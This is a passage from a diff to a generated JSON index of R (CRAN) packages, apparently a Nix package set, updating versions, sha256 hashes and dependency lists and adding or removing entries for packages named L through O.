"0yik2k09cspnacvglhfbhv2ppx3v0lh827qyz5s4y7qb155z27a6", - "depends": ["diagram", "limSolve"] - }, "LINselect": { "name": "LINselect", "version": "1.1.5", @@ -17829,9 +17721,9 @@ }, "LLMR": { "name": "LLMR", - "version": "0.2.5", - "sha256": "0xb11l1dhmb2gfjpkgscjh6637hm6m9b63i2968gnjyx235gjky0", - "depends": ["httr2", "memoise", "purrr", "rlang"] + "version": "0.3.0", + "sha256": "00pykjdznpd4yd7b2dqjsk0f9pzxnw0bs63h55zwdg16vczq0j7m", + "depends": ["dplyr", "future", "future_apply", "httr2", "memoise", "purrr", "rlang", "tibble"] }, "LLSR": { "name": "LLSR", @@ -17881,12 +17773,6 @@ "sha256": "0d2g0w1ail82vknj9pwisxswmns9zsa24cnlm1yqhc7bqry23vgj", "depends": ["data_table", "magrittr"] }, - "LMest": { - "name": "LMest", - "version": "3.2.5", - "sha256": "0db9my1gvml2j625an7zivqavcbnishhpsi584d5z3qj7dm1lbb3", - "depends": ["Formula", "MASS", "MultiLCIRT", "diagram", "mclust", "mix", "mvtnorm", "scatterplot3d"] - }, "LMfilteR": { "name": "LMfilteR", "version": "0.1.3.1", @@ -17983,12 +17869,6 @@ "sha256": "1harwhgqd9swyljijj7bfir176an92kdy8mik1q0nbc061jdgx0i", "depends": ["BayesGOF", "Bolstad2", "MASS", "caret", "ggplot2", "glmnet", "leaps", "locfdr", "polynom", "reshape2"] }, - "LPS": { - "name": "LPS", - "version": "1.0.16", - "sha256": "192iz2gakrddqc4h1y4swj3m3dl03x9mvj3i1dl7jnj18dxik24n", - "depends": [] - }, "LPmerge": { "name": "LPmerge", "version": "1.7", @@ -18021,8 +17901,8 @@ }, "LRTesteR": { "name": "LRTesteR", - "version": "1.2.1", - "sha256": "0xrx9q2jnfjy4d8aqx7y1ycl2wn61riap7kaw78ng33xks8l6b93", + "version": "1.3.0", + "sha256": "0hjpk39s2001kgs7slp3hz0rlnbdda1zmjf4l2kmhvli2il7w93j", "depends": ["EnvStats", "rlang", "statmod", "stringr"] }, "LS2W": { @@ -18147,8 +18027,8 @@ }, "LSX": { "name": "LSX", - "version": "1.4.3", - "sha256": "143ab5hkgwxs3pgk8ihdsdala1zyan11d9n567f8b7jrxj86adb1", + "version": "1.4.4", + "sha256": "0pyh3l9wzycy0xk0rfdif5paraixzffvld2s0kp94jqis515axlc", "depends": ["Matrix", "RSpectra", "digest", "ggplot2", "ggrepel", "locfit", "proxyC", "quanteda", "quanteda_textstats", "reshape2", "stringi"] }, "LTAR": { @@ -18171,8 +18051,8 @@ }, "LTFHPlus": { "name": "LTFHPlus", - "version": "2.1.3", - "sha256": "00jfwzlwr9br2ks3kr26qqkkp1af23n5580hnpflc2d03q3adly3", + "version": "2.1.4", + "sha256": "00bwbcjs18mkxn09fz6rfg9djl90ck9rh2h21z3sf1av1kggp278", "depends": ["Rcpp", "batchmeans", "dplyr", "future", "future_apply", "igraph", "purrr", "rlang", "stringr", "tibble", "tidyr", "tidyselect", "tmvtnorm", "xgboost"] }, "LTPDvar": { @@ -18219,9 +18099,9 @@ }, "LaMa": { "name": "LaMa", - "version": "2.0.3", - "sha256": "0wxbld9hqwshlj7zgs9qxc2580g01mhk8bna8b81h21pb31758bx", - "depends": ["CircStats", "MASS", "Matrix", "RTMB", "Rcpp", "RcppArmadillo", "circular", "mgcv", "mvtnorm", "sn"] + "version": "2.0.4", + "sha256": "0p2009ldm49ym4xhf6rg4ish4m9gxmfyaf1lr4j39gnai5k7610s", + "depends": ["CircStats", "MASS", "Matrix", "RTMB", "Rcpp", "RcppArmadillo", "circular", "mgcv", "numDeriv", "sn", "splines2"] }, "LabApplStat": { "name": "LabApplStat", @@ -18349,18 +18229,6 @@ "sha256": "0spkbbpf6x990mv4s1dk9mhhavkjnn30m5q70gl34763flnbr0vm", "depends": ["fftwtools", "fields", "spam", "spam64"] }, - "LavaCvxr": { - "name": "LavaCvxr", - "version": "1.0.2", - "sha256": "0gg14y8kngj3r4p4bl3ddnm9dxlklxhvnra5bmbjp1kmjhlg52rn", - "depends": ["CVXR", "Lavash", "pracma"] - }, - "Lavash": { - "name": "Lavash", - "version": "1.0", - "sha256": "0cjl8crk0rdkyzp069fk4k0sapcjmqm3q40z5mgl0i1n59kn4s07", - "depends": ["MASS", "glmnet", "pracma"] - }, "LeArEst": { "name": "LeArEst", "version": "1.0.0", @@ -18405,8 +18273,8 @@ }, "LearnNonparam": { "name": "LearnNonparam", - "version": "1.2.8", - "sha256": "1mf3j85bsbfw2axlqj11w3yv317vpjvn8qnpnp28nwkf2cysl6aw", + "version": "1.2.9", + "sha256": "1hs9lss2yamlldn65q21nl1h1s3fl4l0dc4k90wnh99wabqpic3c", "depends": ["R6", "Rcpp"] }, "LearnPCA": { @@ -18483,16 +18351,10 @@ }, "LifeInsureR": { "name": "LifeInsureR", - "version": "1.0.0", - "sha256": "120pf97hp9rp9ncykpk93xxkrmilz74hksjrylh9vdnmmk1dgwbv", + "version": "1.0.1", + "sha256": "1f61prf7172z6bvdgmdqrfwsqb3kzghb7i727n18nic2lcyldydd", "depends": ["MortalityTables", "R6", "abind", "dplyr", "kableExtra", "lubridate", "objectProperties", "openxlsx", "pander", "rlang", "rmarkdown", "scales", "stringr", "tidyr"] }, - "LifeTables": { - "name": "LifeTables", - "version": "1.0", - "sha256": "1dyivvi5cjsnbhncj3arkrndadg7v81nzdf6p6mpgqwqvwn5li8x", - "depends": ["mclust"] - }, "LifemapR": { "name": "LifemapR", "version": "1.1.5", @@ -18513,15 +18375,9 @@ }, "LightLogR": { "name": "LightLogR", - "version": "0.5.3", - "sha256": "1ypkjx4c7krdv8yfhg375qqa8gpiqnnfmmps0any93bkik23fy4q", - "depends": ["cowplot", "dplyr", "flextable", "ggplot2", "ggsci", "ggtext", "hms", "janitor", "lubridate", "magrittr", "pkgload", "plotly", "purrr", "readr", "rlang", "rsconnect", "scales", "slider", "stringr", "suntools", "tibble", "tidyr"] - }, - "LightningR": { - "name": "LightningR", - "version": "1.0.2", - "sha256": "1va673aw2hgir8ybbjad6dhbs8izs1z4jcikwa7qp3mkv0zqd0vq", - "depends": ["R6", "RCurl", "RJSONIO", "httr"] + "version": "0.9.2", + "sha256": "08zdxgcykyvb0yarjbznxb88a6v42cxhriywsjrwm05ybqrk5x4n", + "depends": ["cowplot", "dplyr", "ggplot2", "ggsci", "ggtext", "hms", "janitor", "lubridate", "magrittr", "plotly", "purrr", "readr", "rlang", "scales", "slider", "stringr", "suntools", "tibble", "tidyr"] }, "LikertEZ": { "name": "LikertEZ", @@ -18531,8 +18387,8 @@ }, "LikertMakeR": { "name": "LikertMakeR", - "version": "1.0.0", - "sha256": "1glvkxca4wb7jbgi24irmrky9rpq8lfs8r2ihjnj4m7a6c3fz1fa", + "version": "1.1.0", + "sha256": "1x0npv01jxpn3ry01sg024iwckgnldg8yr5c5anc00jvhb8zlpds", "depends": ["Matrix", "Rcpp", "RcppArmadillo", "dplyr", "gtools"] }, "LilRhino": { @@ -18801,8 +18657,8 @@ }, "Luminescence": { "name": "Luminescence", - "version": "1.0.1", - "sha256": "1wnnf7fqa6jdfw1ml3r9l8z4ib8phzbvglrh49r691b2sk62zr21", + "version": "1.1.0", + "sha256": "05jrw2nys0h48b3xqda5m956ya8njzydzy6ph08941i5bm8y1cq8", "depends": ["DEoptim", "Rcpp", "RcppArmadillo", "XML", "bbmle", "data_table", "httr", "interp", "lamW", "matrixStats", "mclust", "minpack_lm", "shape"] }, "M2SMF": { @@ -18867,8 +18723,8 @@ }, "MAGMA_R": { "name": "MAGMA.R", - "version": "1.0.3", - "sha256": "07jicr9axlb8cnjjprzrkad57r2wrnap52n45sia5qfjp53ys12g", + "version": "1.0.4", + "sha256": "1qp8jzxq002j9s5riyp7lmllb4x8byh67y3ka48mmwqyjkcyj528", "depends": ["doParallel", "dplyr", "flextable", "foreach", "ggplot2", "janitor", "metafor", "overlapping", "psych", "purrr", "rlang", "robumeta", "stddiff", "tibble", "tidyselect", "tidyverse"] }, "MAGNAMWAR": { @@ -18915,8 +18771,8 @@ }, "MAMS": { "name": "MAMS", - "version": "3.0.1", - "sha256": "0nvgivv627rzk69pnfa9cwlilmgpg0202kg8rcfiaqdkvc6sgq18", + "version": "3.0.2", + "sha256": "0pmrwp0ldafiv7aw1k9dqf0p4ifs34fmi2rcvklxna9dpz6nk182", "depends": ["cli", "future", "future_apply", "mvtnorm"] }, "MANCIE": { @@ -19015,12 +18871,6 @@ "sha256": "0qydfp856qlmiwf3a2vs2dfk203sx8vvzrqn4hga9wi7bxdylk9f", "depends": [] }, - "MAVE": { - "name": "MAVE", - "version": "1.3.11", - "sha256": "01n204bxabbm8pcpayy2s0jvhg73r5cv0026lb3vbk0m40z02kcz", - "depends": ["Rcpp", "RcppArmadillo", "mda"] - }, "MAZE": { "name": "MAZE", "version": "0.0.2", @@ -19119,8 +18969,8 @@ }, "MBmca": { "name": "MBmca", - "version": "1.0.1-3", - "sha256": "08ls1rc440jjmbwm6nx09xyr8nb8q6wwid0dyvb97fv4l85qwn19", + "version": "1.1-0", + "sha256": "1srh1lmzj2mxi8wfpvmiy58x6piv6j2fd3zbg8yx770rxwi0587q", "depends": ["chipPCR", "robustbase"] }, "MCARtest": { @@ -19297,12 +19147,6 @@ "sha256": "1b3p6ry8gkvyphakn3504ibl2x8dbhx95saild0mj0iwm3sjyspf", "depends": [] }, - "MDBED": { - "name": "MDBED", - "version": "1.0.0", - "sha256": "1r3sizb2mqd4pqjy25krwmsjfkr6cl7lkd8db5jn3hgxx3qh6sgc", - "depends": ["Rdpack", "doParallel", "foreach", "ggplot2", "lattice", "orthopolynom", "psych"] - }, "MDDC": { "name": "MDDC", "version": "1.1.0", @@ -19381,12 +19225,6 @@ "sha256": "080m0irx5v8l45fg9ig5yzcj92s3ah8a9aha288byszli1cchgpn", "depends": [] }, - "MDplot": { - "name": "MDplot", - "version": "1.0.1", - "sha256": "1xijh18hrkb807nfkdr7g642aspn5psc8nw29q387jl5hly2w8s9", - "depends": ["MASS", "RColorBrewer", "gplots", "gtools"] - }, "MEAanalysis": { "name": "MEAanalysis", "version": "0.1.0", @@ -19519,12 +19357,6 @@ "sha256": "0wrw5yjaw3sgsw0l8q5gq95i5q1wxwgcffkxkxaa1cygblrrz12y", "depends": [] }, - "MGDrivE": { - "name": "MGDrivE", - "version": "1.6.0", - "sha256": "0ynn7iwxi5yfpjyrvfr6ym4ns7h8qfy8c10clab7i72pv90jqqlr", - "depends": ["R6", "Rcpp", "Rdpack"] - }, "MGDrivE2": { "name": "MGDrivE2", "version": "2.1.0", @@ -19617,8 +19449,8 @@ }, "MIC": { "name": "MIC", - "version": "1.0.2", - "sha256": "196wax8wh14vns3kcs6z6qs2gxnrqcx34pzhmja6i43bbc54sk7h", + "version": "1.1.0", + "sha256": "1qx9rnkqpddm6cclk237911xz7qm7swwm7hmrbdfj9yjjcq6yw1s", "depends": ["AMR", "Biostrings", "Rcpp", "data_table", "dplyr", "forcats", "future_apply", "ggplot2", "glue", "lemon", "progressr", "purrr", "readr", "rlang", "stringr", "tibble", "tidyr"] }, "MICsplines": { @@ -19761,15 +19593,9 @@ }, "MLBC": { "name": "MLBC", - "version": "0.1.0", - "sha256": "04f54p61i0m1281k06rrj7hghjpyq2r0srkvb7g5wadfs89ljd4z", - "depends": ["RcppEigen", "TMB"] - }, - "MLCIRTwithin": { - "name": "MLCIRTwithin", - "version": "2.1.1", - "sha256": "1x0xmka7kkbjnh3yv4zxxyl17cpmf0rb9hxmdl1srb6ijld4np1b", - "depends": ["MASS", "MultiLCIRT", "limSolve"] + "version": "0.2.1", + "sha256": "1d353mz88lyzhzwb9978hmzrzpqiibx2d53arly6044mr86ff250", + "depends": ["MASS", "RcppEigen", "TMB", "numDeriv"] }, "MLCM": { "name": "MLCM", @@ -19777,12 +19603,6 @@ "sha256": "1sz5c3wxvnyxd3bf53i8x2jw591phx2np6c6bj4cqppb98ab83f3", "depends": [] }, - "MLCOPULA": { - "name": "MLCOPULA", - "version": "1.0.1", - "sha256": "0a2y84xajinmpryn0bizqy57fn7i3nwnw8kqjiw5bxprc1lc863h", - "depends": ["GRIDCOPULA", "TSP", "copula", "igraph", "kde1d", "pracma"] - }, "MLDS": { "name": "MLDS", "version": "0.5.1", @@ -20017,12 +19837,6 @@ "sha256": "0q80232ndp7pkklzqdbga1vf51dmsxaivm4ia4wah32rc2c87fqp", "depends": ["caret", "e1071", "nnet", "rmarkdown", "shiny"] }, - "MNLpred": { - "name": "MNLpred", - "version": "0.0.8", - "sha256": "0wb1a3d5s9hrv3sw8g1vyr9w9gmig4sdj3l339cv5cjfca75swns", - "depends": ["MASS"] - }, "MNM": { "name": "MNM", "version": "1.0-4", @@ -20157,8 +19971,8 @@ }, "MPSEM": { "name": "MPSEM", - "version": "0.5-1", - "sha256": "138p9iwssqpi6giy0wqmycjkipiz1sxd8rgw2bbjc3wpg2qbv8jh", + "version": "0.6-1", + "sha256": "0fbvyv0m04gh9bwwvar50wsmm94w6xxhhpj076f3jynfa4bfpfyj", "depends": ["MASS", "ape", "magrittr"] }, "MPTinR": { @@ -20167,12 +19981,6 @@ "sha256": "0jywv5kim3vdfq0dfaxjksq8l2i6ny45rn5ibmb7ximwfjm3syp0", "depends": ["Brobdingnag", "Rcpp", "RcppEigen", "numDeriv"] }, - "MPTmultiverse": { - "name": "MPTmultiverse", - "version": "0.4-2", - "sha256": "0fjfj8jk0dk1s3jc9rl9kza6gm5pm6dgsqyk0aq7pir2hrsr3qwy", - "depends": ["MPTinR", "TreeBUGS", "coda", "dplyr", "ggplot2", "limSolve", "magrittr", "purrr", "readr", "reshape2", "rlang", "runjags", "tibble", "tidyr"] - }, "MPV": { "name": "MPV", "version": "2.0", @@ -20197,6 +20005,12 @@ "sha256": "14fg1pbb3yr7cs1f46zp6qdf51gj8qwqywca330zmhysvq9i6sfw", "depends": ["Rcpp", "RcppArmadillo", "igraph"] }, + "MRAM": { + "name": "MRAM", + "version": "0.1.2", + "sha256": "0k83db6b4iq1x99hz79vbc1zwngwssv44q43ax6b31hx29wmg4qh", + "depends": ["RANN"] + }, "MRCE": { "name": "MRCE", "version": "2.4", @@ -20301,9 +20115,9 @@ }, "MSCA": { "name": "MSCA", - "version": "1.0", - "sha256": "0pakp6jlq32il9yk41a53cikv0nl6cy3g9dm9rl72srdfimzr55s", - "depends": ["Matrix", "Rcpp", "RcppArmadillo", "RcppParallel", "dplyr", "rlang", "tibble"] + "version": "1.2.1", + "sha256": "0aqdjnb07z8pny5r64c6rjx2ch7n7syr051h19npr7nxl3kc1xhn", + "depends": ["Matrix", "Rcpp", "RcppArmadillo", "RcppParallel", "data_table", "dplyr", "fastkmedoids", "rlang"] }, "MSCMT": { "name": "MSCMT", @@ -20319,14 +20133,14 @@ }, "MSCsimtester": { "name": "MSCsimtester", - "version": "1.0.0", - "sha256": "0k04fdprwa56vm6n372lipybgq1plhmjbxvp58wqmpgzpnhcxkvd", + "version": "1.1", + "sha256": "0hxn4k0bwgzchb8fq1mkh0n4r281cfj543c5ghbv5h1m1dvcrssw", "depends": ["Rdpack", "ape", "kSamples"] }, "MSEtool": { "name": "MSEtool", - "version": "3.7.3", - "sha256": "07rrh70bp3wckhszv5hgqcbch3llp84gl22x45wvx167pmgvgxp6", + "version": "3.7.4", + "sha256": "1r1nrcxnrajbiyzznzhahifsdrqp9x7f9hl91zdhnqn03317810i", "depends": ["Rcpp", "RcppArmadillo", "abind", "dplyr", "ggplot2", "ggrepel", "gridExtra", "snowfall"] }, "MSG": { @@ -20553,9 +20367,9 @@ }, "MVN": { "name": "MVN", - "version": "5.9", - "sha256": "014s07nxq014j5hkbd6iwwqykcw8si5sah57gi3n0wb51sv8ip1k", - "depends": ["MASS", "boot", "car", "energy", "moments", "nortest", "plyr", "psych"] + "version": "6.1", + "sha256": "1ikd76kdrqz7dfi5gqh11kg6df82v6x5l3grrx53x8d8gz06gzrf", + "depends": ["MASS", "boot", "car", "cli", "dplyr", "energy", "ggplot2", "mice", "moments", "nortest", "plotly", "purrr", "stringr", "tibble", "tidyr", "viridis"] }, "MVNBayesian": { "name": "MVNBayesian", @@ -20649,8 +20463,8 @@ }, "MachineShop": { "name": "MachineShop", - "version": "3.8.0", - "sha256": "0kpk3fvp7w6qx71556jplpl0wsm5q4fhxzcyz9np2gq3idxl7q37", + "version": "3.9.0", + "sha256": "0ppwhm5cf476k89xgwrdk0m9ww2wh443mymriwc6gp2zv1pks80k", "depends": ["Matrix", "Rsolnp", "abind", "cli", "dials", "foreach", "ggplot2", "kernlab", "magrittr", "nnet", "party", "polspline", "progress", "recipes", "rlang", "rsample", "survival", "tibble"] }, "MacroZooBenthosWaterA": { @@ -20775,8 +20589,8 @@ }, "MarZIC": { "name": "MarZIC", - "version": "1.0.0", - "sha256": "16f09s5f95jsafd3s8w01vc9i98nlwm3abrwfdhymaallq4kcban", + "version": "1.0.1", + "sha256": "0ywpmp4rw36gkmbr0vf12amln1km5h1plv9gq991s0i552zz1152", "depends": ["NlcOptim", "Rcpp", "RcppArmadillo", "betareg", "dirmult", "doParallel", "foreach", "mathjaxr", "pracma"] }, "MareyMap": { @@ -20823,8 +20637,8 @@ }, "MassWateR": { "name": "MassWateR", - "version": "2.1.5", - "sha256": "0rpasijp7jrxxcl9v41cpaw4aqavbby51mm0rplrggxsqi8dk7ld", + "version": "2.2.0", + "sha256": "0im4z8gms50mfmpkbk6vx35z5sjxs43hippvliz2cz3jwvpx46bs", "depends": ["RColorBrewer", "curl", "dplyr", "flextable", "ggplot2", "ggrepel", "ggspatial", "httr", "lubridate", "maptiles", "readxl", "rmarkdown", "sf", "tibble", "tidyr", "tidyterra", "units", "writexl"] }, "Massign": { @@ -20853,8 +20667,8 @@ }, "MatchIt": { "name": "MatchIt", - "version": "4.7.1", - "sha256": "12crrfzn4xfhkhkp3d4bbkq15g302459vw1cnaj7khhi8brnzf2p", + "version": "4.7.2", + "sha256": "1bbqh4alm725852gspc8fqygvqi256pxdiykzc5c958h3ljymdgi", "depends": ["Rcpp", "RcppProgress", "backports", "chk", "rlang"] }, "MatchLinReg": { @@ -20905,12 +20719,6 @@ "sha256": "09jzhyzszra40jbxwr1np3s2s59n0gnz6x49c4gzib4fdlngxbdg", "depends": ["LaplacesDemon", "data_table", "doSNOW", "foreach", "mclust", "progress", "snow", "tensor", "tidyr", "withr"] }, - "MatrixLDA": { - "name": "MatrixLDA", - "version": "0.2", - "sha256": "0fixq35gp0fzmin75sfld2ln0zvnjgzrhk3b5yi7wdqzp99200yy", - "depends": ["Rcpp", "RcppArmadillo", "glasso", "plyr"] - }, "MatrixMixtures": { "name": "MatrixMixtures", "version": "1.0.0", @@ -21057,8 +20865,8 @@ }, "Mercator": { "name": "Mercator", - "version": "1.1.6", - "sha256": "0skazqgl58jb916xyc0lasxajnli6ydkrsb01cvw82jlr4v2mfpl", + "version": "1.1.7", + "sha256": "0x2whmg4zjh1kpp3g16mmqczmmr4mvysfxx4fhw63j5zwrmwsrss", "depends": ["ClassDiscovery", "KernSmooth", "Polychrome", "Rtsne", "Thresher", "cluster", "dendextend", "flexmix", "igraph", "kohonen", "umap"] }, "Mestim": { @@ -21081,15 +20889,9 @@ }, "MetChem": { "name": "MetChem", - "version": "0.4", - "sha256": "179634a8chsqfrq44il4dpyxrvadwdn1a7zm2h4ywim63w1dj02b", - "depends": ["KODAMA", "XML", "fingerprint", "httr", "rcdk"] - }, - "MetGen": { - "name": "MetGen", "version": "0.5", - "sha256": "00yzaicrpwfnxi5mdzwx1ai721vczkkf2yl50q9wwpxhmfx0xbbh", - "depends": ["MASS", "chron", "glmnet"] + "sha256": "1rnkrpmrwmi223zzhrw2is4c9qfrqcx0pn8lg8iqcwngb7icw005", + "depends": ["KODAMA", "XML", "fingerprint", "httr", "rcdk"] }, "MetProc": { "name": "MetProc", @@ -21547,6 +21349,12 @@ "sha256": "1y09q50fc8kj08nv30d87z1vqxfp85rnjkgn0bgyad2rwsm59f5l", "depends": ["EMCluster", "MASS", "Matrix", "MixSim", "RColorBrewer", "fftw"] }, + "MixtureFitting": { + "name": "MixtureFitting", + "version": "0.6.1", + "sha256": "0hsmn7il5amydaflrpycmldfr2y59l5b8flmba9q1dkigq8ghij2", + "depends": [] + }, "MixtureMissing": { "name": "MixtureMissing", "version": "3.0.4", @@ -21645,14 +21453,14 @@ }, "Modeler": { "name": "Modeler", - "version": "3.4.8", - "sha256": "1ar6cbffbjf51wrx6dzqlfw1rklzx1zpygb3v70g9kxrbbfby785", + "version": "3.4.9", + "sha256": "0nsxaqn7rnf58vlr01z1xkvrrcqsjrfpa2iv2xwnmc283s100wv4", "depends": ["ClassComparison", "ClassDiscovery", "TailRank", "class", "e1071", "neuralnet", "nnet", "oompaBase", "randomForest", "rpart"] }, "MolgenisArmadillo": { "name": "MolgenisArmadillo", - "version": "2.9.0", - "sha256": "1k9cm34cym2l3srcl3wa5gdhr36i5nd7aadfknar176047sfqh9c", + "version": "2.9.1", + "sha256": "0lw7sbv54m5lgk98x8yjzb8dw9f062hyy0521xcv82vrfv4ihq9c", "depends": ["MolgenisAuth", "arrow", "base64enc", "cli", "dplyr", "httr", "httr2", "purrr", "readr", "rlist", "stringr", "tibble", "tidyr", "urltools"] }, "MolgenisAuth": { @@ -21793,12 +21601,6 @@ "sha256": "14fdwjqvw9kq4ghgj7wzis5ipvnlbh1z2m14vrjrzjkz7q9pkwgw", "depends": ["Hmisc", "pch"] }, - "MtreeRing": { - "name": "MtreeRing", - "version": "1.4.5", - "sha256": "1i6ljz950n9fpgci9b5777dg3b88ihhz8jvyw621hg218imswhxz", - "depends": ["bmp", "dplR", "dplyr", "imager", "jpeg", "magick", "magrittr", "measuRing", "png", "shiny", "shinyWidgets", "shinydashboard", "spatstat_geom", "tiff"] - }, "MuChPoint": { "name": "MuChPoint", "version": "0.6.3", @@ -21937,11 +21739,11 @@ "sha256": "14npzvidqiy25ldg2g4vyj6bbrmi9vbpswbm9ah9hc4sdjdq344h", "depends": ["Matrix", "gam", "pracma", "quantreg"] }, - "MultiLCIRT": { - "name": "MultiLCIRT", - "version": "2.11", - "sha256": "1qls0qp5fz377h50lvpzq3vkw49i3nvizli98gss50nqci8ssqm4", - "depends": ["MASS", "limSolve"] + "MultiLevelOptimalBayes": { + "name": "MultiLevelOptimalBayes", + "version": "0.0.1.6", + "sha256": "1a4qp8y8lz37np1np07g7fzgc3776dmy6ybinqfm3j58q31v545l", + "depends": ["pracma"] }, "MultiNMix": { "name": "MultiNMix", @@ -22465,12 +22267,6 @@ "sha256": "1y2069kfig1rvp7px2iv7knnj9a0qgv48x1lwbmkfp2mzkrcs9fb", "depends": [] }, - "NMRphasing": { - "name": "NMRphasing", - "version": "1.0.6", - "sha256": "1s71n8mwqw3fazcgvdisk9m1s25x033v1id80mvra78kpalw3vzg", - "depends": ["MassSpecWavelet", "baseline", "signal"] - }, "NMTox": { "name": "NMTox", "version": "0.1.0", @@ -22531,12 +22327,6 @@ "sha256": "0fszx8a99znc067lpj4h3n5991lvm7iwq8yici8hhizr11f0dc70", "depends": ["MASS", "MCMCglmm", "metafor"] }, - "NORMA": { - "name": "NORMA", - "version": "0.1", - "sha256": "193q6dwn8v7k8xq0amjpvb3v6mn7c6agqa487gvjj78dy1qz720a", - "depends": ["rootSolve"] - }, "NPBBBDAefficiency": { "name": "NPBBBDAefficiency", "version": "0.1.0", @@ -22597,6 +22387,12 @@ "sha256": "0hbx2mzz1z2158c943dqfn0pq1aybj1xxy55mmvld4djr5zrlz9w", "depends": ["dplyr"] }, + "NPLStoolbox": { + "name": "NPLStoolbox", + "version": "1.0.0", + "sha256": "01f1cimkpakprj5jg7r7k12as84gnqdfib8s1ksph727q6zblc0h", + "depends": ["dplyr", "parafac4microbiome", "pracma", "rTensor"] + }, "NPMLEcmprsk": { "name": "NPMLEcmprsk", "version": "3.0", @@ -22813,6 +22609,12 @@ "sha256": "0k8jhl0p2dp45lx4h77r0bkcff8vn1f9gvr475cshpmyipziiwnq", "depends": [] }, + "NetGreg": { + "name": "NetGreg", + "version": "0.0.2", + "sha256": "1d0w6vqkzrmrngksp9gy49i5kjmc61sakwm1psws2gz14hf18424", + "depends": ["dplyr", "glmnet", "huge", "plsgenomics"] + }, "NetIndices": { "name": "NetIndices", "version": "1.4.4.1", @@ -22833,8 +22635,8 @@ }, "NetMix": { "name": "NetMix", - "version": "0.2.0.2", - "sha256": "1j45zxlirlsph411k76vzawd2zg9bldfp2r9z4pi5zdk129fprb5", + "version": "0.2.0.3", + "sha256": "00dinn8kn2b2z1im453xagss4yhkggavf1q5dl9rqikdcir6hhdg", "depends": ["MASS", "Matrix", "Rcpp", "RcppArmadillo", "clue", "gtools", "igraph", "lda", "poisbinom"] }, "NetOrigin": { @@ -22945,6 +22747,12 @@ "sha256": "0wd70qykzgsfz5pr05hjq5kcixz94787wm5qmh4nj7l8a5r01m76", "depends": ["Hmisc", "NeuralNetTools", "caret", "dplyr", "fastDummies", "ggbreak", "ggforce", "ggnewscale", "ggplot2", "ggrepel", "gridExtra", "magrittr", "reshape2", "scales", "stringr"] }, + "NeuroDataSets": { + "name": "NeuroDataSets", + "version": "0.1.0", + "sha256": "03mn68frpy621addkm3n4np2zaz8vwnpnrqp9v67mgkgf4lrri3i", + "depends": [] + }, "NeuroDecodeR": { "name": "NeuroDecodeR", "version": "0.2.0", @@ -23035,12 +22843,6 @@ "sha256": "1cisq051azpybkj4wmg9k1xb4danyhl523cmjjvlqvvyxrkmp6pf", "depends": [] }, - "NonNorMvtDist": { - "name": "NonNorMvtDist", - "version": "1.0.2", - "sha256": "11xqdrx03q3anavyxpzb0hz6mcbdy252rzzjlpa2byfdlrfvn178", - "depends": ["cubature"] - }, "NonParRolCor": { "name": "NonParRolCor", "version": "0.8.0", @@ -23127,8 +22929,8 @@ }, "NumericEnsembles": { "name": "NumericEnsembles", - "version": "0.7.0", - "sha256": "1pcwc7mnix3xjsf4ylzhl7n5ar9nyphjyy2i1d2lr3k0psfa87x4", + "version": "0.8.0", + "sha256": "1pzidh7lyccgj3c78fmdjwv2mhsqn0cdq0y4zshdfci0m95b1acg", "depends": ["Cubist", "Metrics", "arm", "brnn", "broom", "car", "caret", "corrplot", "doParallel", "dplyr", "e1071", "earth", "gam", "gbm", "ggplot2", "glmnet", "gridExtra", "ipred", "leaps", "nnet", "pls", "purrr", "randomForest", "reactable", "reactablefmtr", "readr", "rpart", "tidyr", "tree", "xgboost"] }, "Numero": { @@ -23197,24 +22999,6 @@ "sha256": "0119c2i9k63mbz40lbbf7x59nf4yyhrmaynn0m0sh1h3jjbsiazc", "depends": ["httr", "purrr", "usethis"] }, - "ODB": { - "name": "ODB", - "version": "1.2.1", - "sha256": "0frkbl99ilpmppm4fm97lbkqhmjgcwlz9j5vh5nzzcsxrh8qwicn", - "depends": ["DBI", "RJDBC"] - }, - "ODEnetwork": { - "name": "ODEnetwork", - "version": "1.3.2", - "sha256": "0wicp0xxqq3jl0kjhc26iqpk8rwa9nv2aiwf18pkgnqxbyw6lgnp", - "depends": ["checkmate", "deSolve"] - }, - "ODEsensitivity": { - "name": "ODEsensitivity", - "version": "1.1.2", - "sha256": "0yddv5h3y0xfviqjgrbixawd00jc1rh9ngckfqka5j855vhchh66", - "depends": ["ODEnetwork", "checkmate", "deSolve", "sensitivity"] - }, "ODMeans": { "name": "ODMeans", "version": "0.2.1", @@ -23251,12 +23035,6 @@ "sha256": "13f185xvjlhxbg94vmnzvyddidxsbkvffjabp7jkg1zjl4x680s1", "depends": ["httr", "readsdmx", "xml2"] }, - "OEFPIL": { - "name": "OEFPIL", - "version": "0.1.1", - "sha256": "0gnbbz2spaqlqqn7978l15jv7xiqpfrh8k9girrpdqih02x95rfw", - "depends": ["Deriv", "MASS", "ggplot2", "matrixcalc", "minpack_lm", "plyr"] - }, "OGI": { "name": "OGI", "version": "1.0.0", @@ -23313,8 +23091,8 @@ }, "OPCreg": { "name": "OPCreg", - "version": "1.0.0", - "sha256": "0473g0hnxzbh7jyfbi4na6xd5ssjhx9jz872nimdgg411s3dwjg1", + "version": "3.0.0", + "sha256": "1386kalqc00ly27cyb2m6xgch9k55basj1nzhl7d66q09cbmyq4g", "depends": ["MASS", "Matrix"] }, "OPDOE": { @@ -23601,8 +23379,8 @@ }, "OmicNavigator": { "name": "OmicNavigator", - "version": "1.13.13", - "sha256": "0dfc3v5n7sms0fjgm8g0f1r810q139378ha0i86hv1s88psxy08x", + "version": "1.15.0", + "sha256": "1b49w0jpzg8ijj0znncnv3mcpnl17rrmhyjhmnhd1q4x4x8q277z", "depends": ["data_table", "jsonlite"] }, "OmicSense": { @@ -23781,14 +23559,14 @@ }, "OpenMindat": { "name": "OpenMindat", - "version": "1.0.0", - "sha256": "1y9f358yn1d2xfqcgmmhcnyxr29fd2frh6ka70pzk63szswszs50", + "version": "1.0.1", + "sha256": "1j9q7n3j17jhzb28mjz3np400nabmzi7av2dmlrrwfyppvngafp3", "depends": ["httr", "jsonlite", "readxl", "stringi", "stringr", "usethis"] }, "OpenMx": { "name": "OpenMx", - "version": "2.22.6", - "sha256": "14gqvshvim161cl958n2h49p8jz7wgs8zjl66q5bk47rbqiaiw16", + "version": "2.22.7", + "sha256": "0hwc1zyfblfa249alwipnnjw2bqasa3a2vyq5l2bvvf12a5jdmrn", "depends": ["BH", "MASS", "Matrix", "Rcpp", "RcppEigen", "RcppParallel", "StanHeaders", "digest", "lifecycle", "rpf"] }, "OpenRange": { @@ -23995,6 +23773,12 @@ "sha256": "0d2qk76issb2k5f2ghfvpq0k8ra7d7nj9hp4ja1s0817zwr0g3zz", "depends": ["MASS", "circular", "ggplot2", 